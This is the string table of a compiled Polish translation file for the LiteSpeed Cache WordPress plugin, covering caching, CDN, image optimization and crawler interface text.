LimitLog ViewLogin CookieLow Quality Image PlaceholderMBManageManually added to blocklistManually runMapMark this page as Maximum image post idMaximum valueMaybe LaterMaybe laterMedia ExcludesMedia SettingsMessage from QUIC.cloud serverMethodMinify CSS files and inline CSS code.Minify HTML content.Minify JS files and inline JS codes.Minimum valueMissMobileMobile Agent RulesMobile CacheMonthly archiveMoreMore information about the available commands can be found here.More settingsMore settings available under %s menuMy QUIC.cloud DashboardNOTENOTICENOTICE:NOTICE: Database login cookie did not match your login cookie.Network DashboardNetwork Enable CacheNew Developer Version Available!New Version Available!New developer version %s is available now.New release %s is available now.NewsNext-Gen Image FormatNo available Cloud Node after checked server load.No available Cloud Node.No available Cloudflare zoneNo backup of original file exists.No backup of unoptimized AVIF file exists.No backup of unoptimized WebP file exists.No cloud services currently in useNo crawler meta file generated yetNo optimizationNo valid image found by Cloud server in the current request.No valid image found in the current request.No valid sitemap parsed for crawler.Non cacheableNot AvailableNot blocklistedNoteNotesNoticeNotificationsNotified Cloudflare to purge all successfully.Notified Cloudflare to set development mode to %s successfully.Notified LiteSpeed Web Server to purge CSS/JS entries.Notified LiteSpeed Web Server to purge all LSCache entries.Notified LiteSpeed Web Server to purge all pages.Notified LiteSpeed Web Server to purge error pages.Notified LiteSpeed Web Server to purge everything.Notified LiteSpeed Web Server to purge the front page.Notified LiteSpeed Web Server to purge the list.OFFONORObjectObject CacheObject Cache SettingsObject cache is not enabled.Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding.Once saved, it will be matched with the current list and completed automatically.One or more pulled images does not match with the notified image md5One per line.Online ServicesOnline node needs to be redetected.Only attributes listed here will be replaced.Only available when %s is installed.Only files within these directories will be pointed to the CDN.Only log listed pages.Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.Only press the button if the pull cron job is disabled.Opcode CacheOpenLiteSpeed users please check thisOperationOptimization StatusOptimization SummaryOptimization ToolsOptimize CSS delivery.Optimize LosslesslyOptimize Original ImagesOptimize TablesOptimize all tables in your databaseOptimize for Guests OnlyOptimize images and save backups of the originals in the same folder.Optimize images using lossless compression.Optimize images with our QUIC.cloud serverOptimized all tables.Option NameOptionalOptional when API token used.Optionally creates next-generation WebP or AVIF image files.Options saved.OrigOrig %sOrig saved %sOriginal URLsOriginal file reduced by %1$s (%2$s)Orphaned Post MetaOther Static CDNOther checkboxes will be ignored.Outputs to a series of files in the %s directory.PAYG BalancePHP Constant %s is supported.Page Load TimePage OptimizationPageSpeed ScorePagesPartner Benefits Provided byPassedPasswordPasswordless LinkPath must end with %sPaths containing these strings will be cached regardless of no-cacheable settings.Paths containing these strings will be forced to public cached regardless of no-cacheable settings.Paths containing these strings will not be cached.Paths containing these strings will not be served from the CDN.Pay as You GoPay as You Go Usage StatisticsPersistent ConnectionPlease consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:Please do NOT share the above passwordless link with anyone.Please enable LiteSpeed Cache in the plugin settings.Please enable the LSCache Module at the server level, or ask your hosting provider.Please make sure this IP is the correct one for visiting your site.Please read all warnings before enabling this option.Please see %s for more details.Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.Please thoroughly test all items in %s to ensure they function as expected.Please thoroughly test each JS file you add to ensure it functions as expected.Please try after %1$s for service %2$s.PortPost IDPost RevisionsPost type archivePreconnecting speeds up future loads from a given origin.Predefined list will also be combined w/ the above settingsPrefetching DNS can reduce latency for visitors.Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.Preserve EXIF/XMP dataPresetsPress the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.Prevent Google Fonts from loading on all pages.Prevent any debug log of listed pages.Prevent any lazy load of listed pages.Prevent any optimization of listed pages.Prevent writing log entries that include listed strings.Previous request too recent. Please try again after %s.Previous request too recent. Please try again later.Previously existed in blocklistPrivatePrivate CachePrivate Cached URIsPrivate cachePrivately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)Privately cache frontend pages for logged-in users. (LSWS %s required)Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality.Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee.Product Update IntervalProvides <strong>security at the CDN level</strong>, protecting your server from attack.PublicPublic CachePull Cron is runningPull ImagesPulled AVIF image md5 does not match the notified AVIF image md5.Pulled WebP image md5 does not match the notified WebP image md5.PurgePurge %s ErrorPurge %s error pagesPurge AllPurge All HooksPurge All On UpgradePurge By...Purge EverythingPurge Front PagePurge ListPurge LogPurge PagesPurge SettingsPurge all object caches successfully.Purge all the object cachesPurge categories only when stock status changes.Purge category %sPurge pages by category name - e.g. %2$s should be used for the URL %1$s.Purge pages by post ID.Purge pages by relative or full URL.Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.Purge product and categories only when the stock status changes.Purge product on changes to the quantity or stock status.Purge product only when the stock status changes.Purge tag %sPurge the LiteSpeed cache entries created by this pluginPurge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP cachesPurge this pagePurge url %sPurged All!Purged all caches successfully.Purged the blog!Purged!Pushed %1$s to Cloud server, accepted %2$s.QUIC.cloudQUIC.cloud CDN OptionsQUIC.cloud CDN Status OverviewQUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users.QUIC.cloud CDN is currently <strong>fully disabled</strong>.QUIC.cloud Integration DisabledQUIC.cloud Integration EnabledQUIC.cloud Integration Enabled with limitationsQUIC.cloud Online ServicesQUIC.cloud Service Usage StatisticsQUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.QUIC.cloud's Image Optimization service does the following:QUIC.cloud's Online Services improve your site in the following ways:QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores.QUIC.cloud's access to your WP REST API seems to be blocked.Query strings containing these parameters will not be cached.Rate %1$s on %2$sRead LiteSpeed DocumentationRecommended to generate the token from Cloudflare API token template "WordPress".Recommended value: 28800 seconds (8 hours).RedetectRedetected nodeRedis Database IDRedis encountered a fatal error: %1$s (code: %2$d)RefreshRefresh Crawler MapRefresh Gravatar cache by cron.Refresh QUIC.cloud statusRefresh StatusRefresh UsageRefresh page load timeRefresh page scoreRegenerate and Send a New ReportRemaining Daily QuotaRemove CDN URLRemove Google FontsRemove Noscript TagsRemove Original BackupsRemove Original Image BackupsRemove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first.Remove Query StringsRemove Query Strings from Static FilesRemove WordPress EmojiRemove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.Remove all previous unfinished image optimization requests.Remove cookie simulationRemove from BlocklistRemove query strings from internal static resources.Removed Unused CSS for UsersRemoved backups successfully.Replace %1$s with %2$s.ReportRequest WebP/AVIF versions of original images when doing optimization.Requests in queueRescan New ThumbnailsRescanned %d images successfully.Rescanned successfully.Reset %s activation successfully.Reset All SettingsReset SettingsReset image optimization counter successfully.Reset positionReset successfully.Reset the entire opcode cacheReset the optimized data successfully.Resources listed here will be copied and replaced with local URLs.Responsive PlaceholderResponsive Placeholder ColorResponsive Placeholder SVGResponsive image placeholders can help to reduce layout reshuffle when images are loaded.Restore SettingsRestore from backupRestored backup settings %1$sRestored original file successfully.Revisions Max AgeRevisions Max NumberRevisions newer than this many days will be kept when cleaning revisions.Role ExcludesRole SimulationRun %s Queue ManuallyRun FrequencyRun Queue ManuallyRun frequency is set by the Interval Between Runs setting.Run time for previous crawlerRunningSYNTAX: alphanumeric and "_". No spaces and case sensitive.SYNTAX: alphanumeric and "_". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS.Save ChangesSave transients in database when %1$s is %2$s.SavedSaving option failed. IPv4 only for %s.Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.Scheduled Purge TimeScheduled Purge URLsSelect "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.Select below for "Purge by" options.Select only the archive types that are currently used, the others can be left unchecked.Select which pages will be automatically purged when posts are published/updated.Selected roles will be excluded from all optimizations.Selected roles will be excluded from cache.Selectors must exist in the CSS. Parent classes in the HTML will not work.Send Optimization RequestSend this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.Send to LiteSpeedSend to twitter to get %s bonusSeparate CCSS Cache Post TypesSeparate CCSS Cache URIsSeparate critical CSS files will be generated for paths containing these strings.Serve StaleServe a separate cache copy for mobile visitors.Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes.Server IPServer Load LimitServer variable(s) %s available to override this setting.Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.Set to %1$s to forbid heartbeat on %2$s.Setting Up Custom HeadersSettingsShorten query strings in the debug log to improve readability.Show crawler statusSignificantly improve load time by replacing images with their optimized %s versions.Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.Sitemap ListSitemap TotalSitemap cleaned successfullySitemap created successfully: %d itemsSizeSize list in queue waiting for cronSmaller thanSoft Reset Optimization CounterSome optimized image file(s) has expired and was cleared.Spam CommentsSpecify a base64 image to be used as a simple placeholder while images finish loading.Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.Specify an HTTP status code and the number of seconds to cache that page, separated by a space.Specify an SVG to be used as a placeholder when generating locally.Specify critical CSS rules for above-the-fold content when enabling %s.Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.Specify how long, in seconds, Gravatar files are cached.Specify how long, in seconds, REST calls are cached.Specify how long, in seconds, feeds are cached.Specify how long, in seconds, private pages are cached.Specify how long, in seconds, public pages are cached.Specify how long, in seconds, the front page is cached.Specify the %s heartbeat interval in seconds.Specify the maximum size of the log file.Specify the number of most recent revisions to keep when cleaning revisions.Specify the password used when connecting.Specify the quality when generating LQIP.Specify the responsive placeholder SVG color.Specify the time to purge the "%s" list.Specify which HTML element attributes will be replaced with CDN Mapping.Specify which element attributes will be replaced with WebP/AVIF.Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>.Speed up your WordPress site even further with QUIC.cloud Online Services and CDN.Spread the love and earn %s credits to use in our QUIC.cloud online services.Standard PresetsStarted async crawlingStarted async image optimization requestStatic file type links to be replaced by CDN links.StatusStop loading WordPress.org emoji. Browser default emoji will be displayed instead.Storage OptimizationStore Gravatar locally.Store TransientsSubmit a ticketSuccessfully CrawledSummarySupport forumSure I'd love to review!SwapSwitch back to using optimized images on your siteSwitched images successfully.Switched to optimized file successfully.Sync QUIC.cloud status successfully.Sync credit allowance with Cloud Server successfully.Sync data from CloudSystem InformationTTLTableTagTemporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.Term archive (include category, tag, and tax)TestingThank You for Using the LiteSpeed Cache Plugin!The Admin IP option will only output log messages on requests from admin IPs listed below.The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.The URLs here (one per line) will be purged automatically at the time set in the option "%s".The URLs will be compared to the REQUEST_URI server variable.The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.The above nonces will be converted to ESI automatically.The amount of time, in seconds, that files will be stored in browser cache before expiring.The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.The callback validation to your domain failed due to hash mismatch.The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: The cookie set here will be used for this WordPress installation.The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.The current server is under heavy load.The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.The default login cookie is %s.The environment report contains detailed information about the WordPress configuration.The following options are selected, but are not editable in this settings page.The image compression quality setting of WordPress out of 100.The image list is empty.The latest data file isThe list will be merged with the predefined nonces in your local data file.The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.The network admin selected use primary site configs for all subsites.The network admin setting can be overridden here.The next complete sitemap crawl will start atThe queue is processed asynchronously. It may take time.The selector must exist in the CSS. Parent classes in the HTML will not work.The server will determine if the user is logged in based on the existence of this cookie.The site is not a valid alias on QUIC.cloud.The site is not registered on QUIC.cloud.The user with id %s has editor access, which is not allowed for the role simulator.Then another WordPress is installed (NOT MULTISITE) at %sThere is a WordPress installed for %s.There is proceeding queue not pulled yet.There is proceeding queue not pulled yet. Queue info: %s.These images will not generate LQIP.These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.These settings are meant for ADVANCED USERS ONLY.This action should only be used if things are cached incorrectly.This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.This can improve page loading time by reducing initial HTTP requests.This can improve quality but may result in larger images than lossy compression will.This can improve the page loading speed.This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.This enables the page's initial screenful of imagery to be fully displayed without delay.This is irreversible.This is to ensure compatibility prior to enabling the cache for all sites.This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.This may cause heavy load on the server.This message indicates that the plugin was installed by the server admin.This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.This option can help to correct the cache vary for certain advanced mobile or tablet visitors.This option enables maximum optimization for Guest Mode visitors.This option is bypassed because %1$s option is %2$s.This option is bypassed due to %s option.This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.This option will automatically bypass %s option.This option will remove all %s tags from HTML.This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.This process is automatic.This setting is %1$s for certain qualifying requests due to %2$s!This setting is useful for those that have multiple web applications for the same domain.This setting will edit the .htaccess file.This setting will regenerate crawler list and clear the disabled list!This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.This will Purge Front Page onlyThis will Purge Pages onlyThis will also add a preconnect to Google Fonts to establish a connection earlier.This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?This will clear EVERYTHING inside the cache.This will delete all cached Gravatar filesThis will delete all generated critical CSS filesThis will delete all generated image LQIP placeholder filesThis will delete all generated unique CSS filesThis will delete all localized resourcesThis will disable LSCache and all optimization features for debug purpose.This will disable the settings page on all subsites.This will drop the unused CSS on each page from the combined file.This will enable crawler cron.This will export all current LiteSpeed Cache settings and save them as a file.This will generate extra requests to the server, which will increase server load.This will generate the placeholder with same dimensions as the image if it has the width and height attributes.This will import settings from a file and override all current LiteSpeed Cache settings.This will increase the size of optimized files.This will inline the asynchronous CSS library to avoid render blocking.This will purge all minified/combined CSS/JS entries onlyThis will reset all settings to default settings.This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action.This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.To crawl the site as a logged-in user, enter the user ids to be simulated.To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.To do an exact match, add %s to the end of the URL.To enable the following functionality, turn ON Cloudflare API in CDN Settings.To exclude %1$s, insert %2$s.To generate a passwordless link for LiteSpeed Support Team access, you must install %s.To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.To manage your QUIC.cloud options, go to QUIC.cloud Dashboard.To manage your QUIC.cloud options, go to your hosting provider's portal.To manage your QUIC.cloud options, please contact your hosting provider.To match the beginning, add %s to the beginning of the item.To prevent %s from being cached, enter them here.To prevent filling up the disk, this setting should be OFF when everything is working.To randomize CDN hostname, define multiple hostnames for the same resources.To test the cart, visit the <a %s>FAQ</a>.To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.ToolToolboxTotalTotal ReductionTotal UsageTotal images optimized in this monthTrackbacks/PingbacksTrashed CommentsTrashed PostsTry GitHub VersionTuningTuning SettingsTurn OFFTurn ONTurn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.Turn ON to control heartbeat in backend editor.Turn ON to control heartbeat on backend.Turn ON to control heartbeat on frontend.Turn On Auto UpgradeTurn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.Tweet previewTweet thisUCSS InlineUCSS Selector AllowlistUCSS URI ExcludesURI ExcludesURI Paths containing these strings will NOT be cached as public.URLURL SearchURL list in %s queue waiting for cronUnable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.Unable to automatically add %1$s as a Domain Alias for main %2$s domain.Unique CSSUnknown errorUpdate %s nowUpgradeUpgraded successfully.UsageUse %1$s in %2$s to indicate this cookie has not been set.Use %1$s to bypass UCSS for the pages which page type is %2$s.Use %1$s to bypass remote image dimension check when %2$s is ON.Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.Use %s API functionality.Use CDN MappingUse Network Admin SettingUse Optimized FilesUse Original FilesUse Primary Site ConfigurationUse QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.Use QUIC.cloud online service to generate unique CSS.Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.Use external object cache functionality.Use keep-alive connections to speed up cache operations.Use latest GitHub Dev commitUse latest GitHub Dev/Master commitUse latest GitHub Master commitUse latest WordPress release versionUse original images (unoptimized) on your siteUse the format %1$s or %2$s (element is optional).Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.Useful for above-the-fold images causing CLS (a Core Web Vitals metric).UsernameUsing optimized version of file. VPIValue rangeVariables %s will be replaced with the configured background color.Variables %s will be replaced with the corresponding image properties.Vary CookiesVary GroupVary for Mini CartView %1$s version %2$s detailsView .htaccessView Site Before CacheView Site Before OptimizationViewport ImageViewport Image GenerationViewport ImagesViewport Images CronVisit LSCWP support forumVisit the site while logged out.WARNINGWARNING: The .htaccess login cookie and Database login cookie do not match.WaitingWaiting to be CrawledWant to connect with other LiteSpeed users?Watch Crawler StatusWe are good. No table uses MyISAM engine.We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.WebP file reduced by %1$s (%2$s)WebP saved %sWebP/AVIF Attribute To ReplaceWebP/AVIF For Extra srcsetWelcome to LiteSpeedWhat is a group?What is an image group?When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.When disabling the cache, all cached entries for this site will be purged.When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.When minifying HTML do not discard comments that match a specified pattern.When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images.When this option is turned %s, it will also load Google Fonts asynchronously.When you use Lazy Load, it will delay the loading of all images on a page.Who should use this preset?Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.Wildcard %s supported.With ESI (Edge Side Includes), pages may be served from cache for logged-in users.With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.WooCommerce SettingsWordPress Image Quality ControlWordPress valid interval is %s seconds.WpW: Private Cache vs. Public CacheYearly archiveYou are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard.You can just type part of the domain.You can list the 3rd party vary cookies here.You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.You can request a maximum of %s images at once.You can turn shortcodes into ESI blocks.You can use this code %1$s in %2$s to specify the htaccess file path.You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible.You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.You have too many requested images, please try again in a few minutes.You have used all of your daily quota for today.You have used all of your quota left for current service this month.You just unlocked a promotion from QUIC.cloud!You must be using one of the following products in order to measure Page Load Time:You must set %1$s to %2$s before using this feature.You must set %s before using this feature.You need to activate QC first.You need to set the %1$s first. Please use the command %2$s to set.You need to set the %s in Settings first before using the crawlerYou need to turn %s on and finish all WebP generation to get maximum result.You need to turn %s on to get maximum result.You will be unable to Revert Optimization once the backups are deleted!You will need to finish %s setup to use the online services.Your %s Hostname or IP address.Your API key / token is used to access %s APIs.Your Email address on %s.Your IPYour application is waiting for approval.Your domain has been forbidden from using our services due to a previous policy violation.Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.Your server IPYour site is connected and ready to use QUIC.cloud Online Services.Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features.Zero, orcategoriescookiese.g. Use %1$s or %2$s.https://www.litespeedtech.comhttps://www.litespeedtech.com/products/cache-plugins/wordpress-accelerationjust nowno matter where they live.pixelsprovide more information here to assist the LiteSpeed team with debugging.right nowrunningsecondstagsthe auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.unknownuser agentsPO-Revision-Date: 2025-06-24 08:27:32+0000
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n == 1) ? 0 : ((n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 12 || n % 100 > 14)) ? 1 : 2);
X-Generator: GlotPress/4.0.1
Language: pl
Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)
 %s temuPozostało %1$s %2$s plików w kolejce%1$s jest %2$s płatną funkcją.%1$s wersja wtyczki %2$s jest wymagana dla tej akcji.%d godzina%d godzin%d minuta%d minut%d sekundRozszerzenie %s%s dane aktywacyjne wygasły.Plik %s nie nadaje się do odczytu.Plik %s nie jest zapisywalny.%s grupa%s grupy%s obrazek%s obrazkiZalecane jest %s.Aby to ustawienie działało, %s musi być WŁĄCZONY.(bez zapisania)(nieoptymalizowany)(optymalizowany)Ścieżka .htaccess<a href="%1$s" %2$s>Zobacz szczegóły wersji %3$s</a> lub <a href="%4$s" %5$s target="_blank">zaktualizuj teraz</a>.<p> Proszę dodać / zastąpić następujące kody na początku %1$s: </p> %2$s<strong>Krytyczny CSS (CCSS)</strong> wczytuje widoczną treść u góry strony szybciej i z zachowaniem pełnego stylu.<strong>Optymalizacja obrazka</strong> pozwala na uzyskanie mniejszych rozmiarów plików graficznych i szybsze przesyłanie ich.<strong>Obrazek zastępczy niskiej jakości (LQIP)</strong> nadaje obrazkom przyjemniejszy wygląd, ponieważ wczytują się one leniwie.<strong>Optymalizacja strony</strong> usprawnia style strony i elementy wizualne, aby przyspieszyć wczytywania.<strong>Unikatowy CSS (UCSS)</strong> usuwa nieużywane definicje stylów, co przyspiesza wczytywanie strony.<strong>Obrazki rzutni (VPI)</strong> zapewniają dopracowany, w pełni załadowany widok powyżej linii zagięcia.Operacja Wyczyść wszystko zostanie wykonana, gdy WordPress uruchomi te haki.Ustawienie TTL na 0 wyłącza zapisywanie do pamięci podręcznej.Kopia zapasowa każdego obrazka jest zapisywana przed optymalizacją.Czas życia pamięci podręcznej AJAXAPIPlik AVIF zmniejszony o %1$s (%2$s)Zapisano AVIF %sPrzyspiesz, zoptymalizuj, chrońPrzyspiesza działanie poprzez buforowanie Gravatara (globalnie rozpoznawanych awatarów).WłączDodaj brakujące rozmiaryDodaj nowy adres URL CDNaDodaj nowy plik cookie do symulacjiDodaj do czarnej listyDodawanie stylu do leniwego wczytywania obrazkówTylko Adres IP AdministratoraAdresy IP administratoraZaawansowaneZaawansowane (zalecane)Ustawienia zaawansowanePoziom zaawansowany będzie rejestrował więcej szczegółów.PoGdy serwer QUIC.cloud Image Optimization zakończy optymalizację, powiadomi Twoją witrynę o konieczności pobrania zoptymalizowanych obrazków.Po weryfikacji pamięci podręcznej, sprawdź koszyk.AgresywnaAlias ​​jest używany przez inne konto QUIC.cloud.Wszystkie kolejki usług QUIC.cloud zostały wyczyszczone.Wszystkie dane tymczasoweWszystkie kategorie są cache'owane domyślnie.Wszystkie stronyWszystkie strony z widgetem Ostatnie postyWszystkie tagi są domyślnie cache'owane.Pozwala adresom IP na liście (jednym w linii) na pewnie akcje z ich przeglądarek.Już w pamięci podręcznejZawsze usuwaj zarówno produkt, jak i kategorie w przypadku zmiany ilości lub stanu zapasów.Opcjonalny drugi parametr może być użyty do określenia kontroli pamięci podręcznej. Użyj spacji, aby oddzielićDołącz string zapytania %s do zasobów, aby obejść tę akcję.Zastosowano preset %1$s %2$sZastosuj PresetCzy na pewno chcesz usunąć wszystkie istniejące czarne listy?Czy na pewno usunąć wszystkie zoptymalizowane obrazki?Czy na pewno chcesz wyczyścić wszystkie węzły chmury?Czy na pewno chcesz rozłączyć się z QUIC.cloud? Nie spowoduje to usunięcia żadnych danych z kokpitu QUIC.cloud.Czy na pewno chcesz ponownie wykryć najbliższy serwer chmury dla tej usługi?Czy na pewno chcesz usunąć wszystkie kopie zapasowe obrazków?Czy na pewno chcesz przywrócić wszystkie ustawienia do wartości domyślnych?Asynchroniczne ładowanie CSS z krytycznym CSSDołącz informacje PHP do raportu. Zaznacz to pole, aby wstawić odpowiednie dane z %s.Archiwum autoraAutomatyczne wersje roboczeZasady automatycznego oczyszczania dla publikowania / aktualizacjiAutomatyczne żądanie CronAutomatyczne wczytywanieAutomatyczne generowanie krytycznego CSS odbywa się w tle za pośrednictwem kolejki opartej na cron.Automatyczne generowanie unikatowego kodu CSS odbywa się w tle za pośrednictwem kolejki opartej na cron.Automatycznie uaktualnijAutomatycznie włącz wstępne pobieranie DNS dla wszystkich adresów URL w dokumencie, łącznie z obrazkami, arkuszami CSS, skryptami JavaScript itd.Automatycznie generuj LQIP w tle za pomocą kolejki cron.Automatycznie usuwaj oryginalne kopie zapasowe obrazków po pobraniu zoptymalizowanych obrazków.Automatycznie żądaj optymalizacji za pomocą zadania cron.Dostępne za %d sekund(y)Lista awatarów w kolejce oczekujących na aktualizacjęŚcieżka zaplecza .htaccessKontrola zaplecza HeartbeatZaplecze Heartbeat TTLBackup utworzony %1$s przed zastosowaniem presetu %2$sPodstawowePodstawowy symbol zastępczy obrazkaPrzedNajlepsza dostępna wydajność WordPressaBeta testyCzarna listaZablokowanoUmieszczony na czarnej liście, ponieważ nie można go buforowaćObydwie %1$s i %2$s są przyjmowane.Obydwa schematy URLi i cząstek mogą zostać użyte.Mogą być używanie pełne lub częściowe stringi.PrzeglądarkaPamięć podręczna przeglądarkiUstawienia pamięci podręcznej przeglądarkiTTL Pamięci podręcznej przeglądarkiPamięć podręczna przeglądarki przechowuje statyczne pliki lokalnie w przeglądarce użytkownika. Włącz to ustawienie w celu zredukowania wielokrotnych żądań statycznych plików.Domyślnie zostanie użyty szary obrazek zastępczy dla %s.Domyślnie strony Moje konto, Kasa i Koszyk są automatycznie wykluczane z buforowania. Błędna konfiguracja powiązań stron w ustawieniach WooCommerce może spowodować błędne wykluczenie niektórych stron.Z założenia ta opcja może wyświetlać nieaktualną treść. Nie włączaj tej opcji, jeśli Ci to nie odpowiada.CCSS według adresu URLLista dozwolonych selektorów CCSSCDNSzerokość pasma CDNUstawienia CDNCDN URLAdres URL CDN, który ma być użyty. Na przykład %sPołącz CSS & JSPołączenie CSSCSS łączy zewnętrzne i wbudowaneWykluczenia CSSCSS MinifyUstawienia CSSMinifikacja CSS, JS i HTMLPamięć podręczna CSS/JSPamięć podręcznaZapisuj pasek administratoraZapisz formularz komentarzyZapisuj komentujących w pamięci podręcznejUstawienia kontroli pamięci podręcznejTrafienie pamięci podręcznejZapisuj w pamięci podręcznej dla zalogowanych użytkownikówStrona logowania pamięci podręcznejBrak pamięci podręcznejZapisuj urządzenia mobilneZapisuj REST API do pamięci podręcznejStatus pamięci podręcznejPamięć podręczna WP-AdminKlucz pamięci podręcznej musi być liczbą całkowitą lub niepustym ciągiem znaków, podano %s.Klucz pamięci podręcznej nie może być pustym ciągiem.Żądania dotyczące pamięci podręcznej wywołane przez wywołania API WordPressa REST.Buforuj wbudowany blok ESI paska administratora.Zapisz w pamięci podręcznej wbudowany blok ESI Comment Form.Buforuje całą witrynę, łącznie z dynamiczną treścią i <strong>blokami ESI</strong>.Oblicz przestrzeń dyskową kopii zapasowychOblicz miejsce zajęte przez oryginalne obrazyPomyślnie obliczono kopie zapasowe.Nie mogę utworzyć folderu: %1$s. Błąd: %2$sAnulujKategoriaCertyfikat lub plik klucza nie istnieje.Zmieniono ustawienie pomyślnie.Zmiany tego ustawienia nie dotyczą już wygenerowanych LQIP. Aby ponownie wygenerować istniejące LQIP, najpierw %s z menu paska administratora.Sprawdź statusSprawdź moje publiczne IP zSprawdź tutaj stan najważniejszych ustawień i kondycję swojej sieci CDN.Zaznacz tę 